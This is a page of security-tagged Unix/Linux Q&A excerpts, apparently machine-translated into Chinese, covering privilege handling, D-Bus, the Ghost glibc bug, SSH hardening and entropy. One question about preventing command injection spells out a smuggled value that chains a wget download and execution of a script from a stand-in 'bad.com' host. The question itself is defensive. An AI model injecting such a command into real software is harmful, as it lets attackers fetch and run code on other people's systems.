Questions tagged «security»

与计算机安全性有关的内容,即与策略,机制等有关的内容,可确保数据在任何情况下均不会泄漏或损坏,并且服务可用。

3
在非root用户帐户下运行守护程序是否是一种好习惯?
我已经开发了一个使用NTP更改网络时间,同步两台计算机的应用程序。它运行为root,因为在Linux上仅允许后者更改时间和日期(我想)。 现在,我想以用户身份运行它。但是,我需要获取时间。 在非root用户帐户下运行守护程序是否是一种好习惯? 我应该为我的应用程序提供诸如以下的功能CAP_SYS_TIME吗? 它不会引入安全漏洞吗? 有没有更好的办法?

1
D-Bus身份验证和授权
我正在尝试设置对D-Bus的远程访问,但我不了解身份验证和授权的工作方式(不)。 我有一台D-Bus服务器在抽象套接字上侦听。 $ echo $DBUS_SESSION_BUS_ADDRESS unix:abstract=/tmp/dbus-g5sxxvDlmz,guid=49bd93b893fe40d83604952155190c31 我跑去dbus-monitor看发生了什么。我的测试用例是notify-send hello,当从本地计算机执行时可以工作。 从同一台计算机上的另一个帐户,我无法连接到该总线。 otheraccount$ DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-g5sxxvDlmz,guid=49bd93b893fe40d83604952155190c31 dbus-monitor Failed to open connection to session bus: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network …

1
幽灵漏洞-CVE-2015-0235
Ghost漏洞是否需要访问(如作为登录用户一样)受影响的受影响的OS?有人可以澄清“能够发起应用程序调用的远程攻击者”吗?我似乎只发现可以直接在本地系统上运行的测试,而不能从远程主机上运行。 到目前为止,我已经从多个来源收集到的有关“ 幽灵漏洞”的所有信息(这些来源的积分),我在下面发布了一个答案,以防其他人感到好奇。 编辑,我找到了答案: 在一次代码审核中,Qualys研究人员在glibc的__nss_hostname_digits_dots()函数中发现了缓冲区溢出。可以通过所有gethostbyname *()函数在本地和远程触发此错误。应用程序主要通过gethostbyname *()函数集访问DNS解析器。这些功能将主机名转换为IP地址。

2
如何知道ssh使用的对称加密类型?
我想知道ssh在连接客户端-服务器中使用的对称加密(身份验证之后)的类型。我不确定谁来决定加密。客户端还是服务器? 我已经看过/etc/ssh/ssh_config(在客户端上)和/etc/ssh/sshd_config(在服务器上),什么也没有。

3
如何通过命令选项防止命令注入?
我有一个包装器应用程序,需要让用户指定自定义选项以传递给模拟器。但是,我想确保用户不会通过用户选项注入其他命令。做到这一点的最佳方法是什么? 例如。 用户提供: -a -b 应用程序执行: mysim --preset_opt -a -b 但是,我不希望这种情况发生: 用户提供: && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 应用程序执行: mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh 当前,我认为我可以将每个用户提供的选项都用单引号引起来,'并去除用户提供的任何单引号,这样最后一个示例中的命令将变成无害的: mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh' 注意:该mysim命令在docker / lxc容器中作为Shell脚本的一部分执行。我正在运行Ubuntu。

1
可以防止程序启动时的熵消耗吗?
我将Knoppix(或其他Live CD / DVD)用作创建有价值的加密密钥的安全环境。不幸的是,在这样的环境中,熵是有限的资源。我只是注意到,每个程序启动都消耗一些熵。这似乎是由于某些堆栈保护功能需要地址随机化所致。 不错的功能,但在我的情况下完全没用,而且更糟。是否有可能禁用此功能?我希望有一个允许我继续使用原始的Knoppix(或任何其他形式)图像,并且只需要在运行时进行一些配置的图像。 我读到这是glibc引起的。我很惊讶,strace -p $PID -f -e trace=open当我启动程序时,反对bash不会显示对/ dev / random的任何访问。但是我不熟悉execve()和链接程序的交互。
13 linux  kernel  security 

1
root拥有setuid位的程序
Ping是根用户拥有的,设置了用户ID位的程序。 $ ls -l `which ping` -rwsr-xr-x 1 root root 35752 Nov 4 2011 /bin/ping 据我了解,如果用户运行ping进程,则有效用户ID将从实际用户ID(即启动进程的人的用户ID)更改为用户ID根。但是,当我尝试此操作并查看ps的输出以查看ping进程是否以root用户身份运行时,仍然显示了真实的用户ID。 ps -e -o user,ruser,euser,cmd,args | grep ping sashan sashan sashan ping -i 10 -c 1000 www.goog ping -i 10 -c 1000 www.google.com

8
我们如何限制ssh探针的影响?
我的网络服务器不断受到各种IP地址的攻击。他们尝试输入五个密码,然后更改IP地址。 我已经进行了各种锁定,例如使用ssh-keys并不允许使用密码,并且不允许远程root用户登录。 我有什么办法可以摆脱这些攻击尝试?如果没有,我应该提出具体的防御措施吗?
13 ssh  security 

2
如何安全地将变量传递给启用了root的脚本?
这个问题是完全笼统的,不仅适用于我的情况,而且...我有一个小型busybox设备,希望非root用户能够使用root特权执行特定脚本。例如,类似以下这样$1的小脚本来启用DHCP,其中在cmdline(!!)上发送的唯一变量()是要发送的主机名: #!/bin/bash udhcpc -b -i eth0 -h $1 像这样运行udhcpc需要root用户访问权限,因此,我计划进行修改/etc/sudoers以包含此行: joe ALL = NOPASSWD: /path/to/enable_dhcp.sh 只需运行以下命令,即可使“ joe”轻松地以root特权运行该脚本: sudo /path/to/enable_dhcp.sh 而不是要求输入密码(这是我想要的,因为我希望joe能够编写此脚本)。 现在..我知道(或者至少我认为这样做),$1在可以轻松使用root特权运行的脚本中使用是一个可怕的想法,因为您可以向其中注入任何内容。 那么...解决此问题的最佳方法是什么?我如何让Joe用root特权执行我想做的事情,如何允许他传入变量(或者像使用环境变量那样有效地传递变量),同时又不对注入攻击敞开大门?

4
保护服务器安全的书籍/指南
已关闭。这个问题是基于观点的。它当前不接受答案。 想改善这个问题吗?更新问题,以便通过编辑此帖子以事实和引用的形式回答。 5年前关闭。 我有一个要构建和启动的网站想法,并且正在考虑使用小型VPS进行托管(我喜欢Linode的价格,并且似乎广受欢迎)。我很破产,所以我买不起托管服务器。 我下载了Ubuntu Lucid Server并将其运行在VirtualBox中,以帮助我学习并近似于最终的生产服务器。我致力于学习,但是我很害怕自己会错过一些愚蠢的事情并受到影响。因此,我想了解任何解释LAMP服务器安全要点的优秀指南/书籍。 我已经研究了Linode和Slicehost各自的教程中的基本内容,但是我想尽可能地做好准备。该站点尚未编写,我很可能会首先作为试运行部署到共享主机上,因此我确实有时间至少学习一些基础知识。 我知道要使所有内容保持最新,将iptables配置为仅允许我需要的漏洞(对于ssh / scp / sftp,TCP端口22似乎只是这样-为了(非常次要)安全性,我将从默认端口更改它通过模糊不清的奖金-和80表示http)-尽管我对某些教程感到困惑,因为它们阻止了ICMP,因为我不知道为什么我不想响应ping-并且仅安装需要/删除的软件不需要
13 security 


1
如何在Linux上启用随机PID?
从安全性的角度来看,我目前正在比较OpenBSD,FreeBSD和Linux上的随机PID实现。 只要涉及到OpenBSD和FreeBSD,我的工作就完成了。但是,尽管这里的答案表明仅凭此设置就可以在Linux上启用随机PID sysctl,但我无法确定它是哪个设置。 对Internet的研究仅导致补丁和讨论在主流Linux内核中被拒绝,并且在grsecurity功能中也没有出现(很明显,在我的Linux机器上,PID到处都是增量的,sysctl似乎没有相关的参数名称,并且在其中进行了一些搜索内核源代码未显示任何相关内容)。 在Linux上真的可以使用PID随机化吗?

2
使用SSH的一致且安全的无密码帐户方法
我必须承认,在某些情况下,我喜欢没有密码的服务器。典型的服务器容易受到任何具有物理访问权限的人的攻击。因此,在某些情况下,将其物理锁定是可行的,此后再信任任何物理访问。 基本概念 从理论上讲,当我物理上到达这样的服务器时,只需键入root登录名就可以执行无需密码的管理任务,并且不需要输入密码。这可能适用于用户帐户,但实际上并不能真正访问它们。因此,(偶尔)本地访问不需要系统密码。 远程访问服务器(用于管理或用户帐户)时,我希望始终使用SSH私钥。为刚创建的帐户设置SSH密钥非常容易,因此(常规)远程访问不需要系统密码。 # user=... # # useradd -m "$user" # sudo -i -u "$user" $ keyurl=... $ $ mkdir -p .ssh $ curl -o .ssh/authorized_keys "$keyurl" 结论是,从理论上讲,我们不会为此类用例使用任何系统密码。所以问题是,我们如何配置系统和用户帐户,以使其以一致且安全的方式发生。 本地访问详细信息 我们如何确保无需密码即可在本地访问root帐户?我认为我们不能使用passwd -d它,因为这会使root用户访问权限太宽容,并且没有特权的用户可以免费切换到root 用户,这是错误的。我们无法使用,passwd -l因为它阻止我们登录。 请注意,本地访问专门涉及使用本地键盘的访问。因此,有效的解决方案不得允许任何用户切换(无论使用su还是sudo)。 远程访问详细信息 直到最近,上述解决方案仍然有效,但现在SSH开始检查锁定的用户帐户。passwd -d由于相同的原因,我们可能无法使用。我们不能使用passwd -u它,因为它只是抱怨它将导致什么passwd -d。 有一种解决方法,该部分使用虚拟密码。 user=... echo -ne "$user:`pwgen 16`\n" | chpasswd 也可以完全关闭SSH中的锁定帐户检查功能,但是保留锁定帐户的支持并能够对其进行解锁会更好。 最后的笔记 …

7
vsftpd无法通过pam身份验证
在Fedora 16上将经过验证的vsftpd配置移动到新服务器上时,我遇到了一个问题。一切似乎都按预期进行,但用户身份验证失败。我在任何日志中都找不到指示发生了什么的条目。 这是完整的配置文件: anonymous_enable=NO local_enable=YES write_enable=YES local_umask=022 dirmessage_enable=YES xferlog_enable=YES connect_from_port_20=YES xferlog_file=/var/log/vsftpd.log xferlog_std_format=YES idle_session_timeout=0 data_connection_timeout=0 nopriv_user=ftpsecure connect_from_port_20=YES listen=YES chroot_local_user=YES chroot_list_enable=NO ls_recurse_enable=YES listen_ipv6=NO pam_service_name=vsftpd userlist_enable=YES tcp_wrappers=YES FTP向我询问用户名和密码,我提供了它们,登录错误。我已经验证,该用户能够从ssh登录。东西搞砸了pam_service。 匿名(如果更改为允许)似乎运行良好。 SELinux已禁用。 Ftpsecure似乎配置良好...我完全不知所措! 以下是我没有成功检查的日志文件: /var/log/messages /var/log/xferlog #empty /var/log/vsftpd.log #empty /var/log/secure 在中找到了一些东西/var/log/audit/audit.log: type=USER_AUTH msg=audit(1335632253.332:18486): user pid=19528 uid=0 auid=4294967295 ses=4294967295 msg='op=PAM:authentication acct="kate" exe="/usr/sbin/vsftpd" hostname=ip68-5-219-23.oc.oc.cox.net addr=68.5.219.23 terminal=ftp res=failed' …

4
人们究竟如何“破解” Unix / Linux系统?
不是我不希望成为一个饼干或类似的东西,而是我试图弄清楚这个过程(更多是从编程的角度来看)。 因此,我假设(猜测)破解者的主要目标是获得安装他所编写的任何软件(或脚本)的root用户权限?还是安装自己的内核模块(无论出于何种原因,这都是曲折的)一个人究竟该怎么做呢? 我知道人们使用脚本来检查漏洞.........但是我不知道怎么做,一旦找到它们,我也不会确切地看到他们如何处理它们?他们是在检查版本中是否存在已知漏洞吗……然后找到它们……。 我知道这听起来很新奇。但是我只是想知道它是如何工作的,因为我知道Linux / Unix系统应该是非常安全的,但是我试图弄清楚某人甚至将如何进行(获得根访问权限的过程)。
13 linux  security 

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.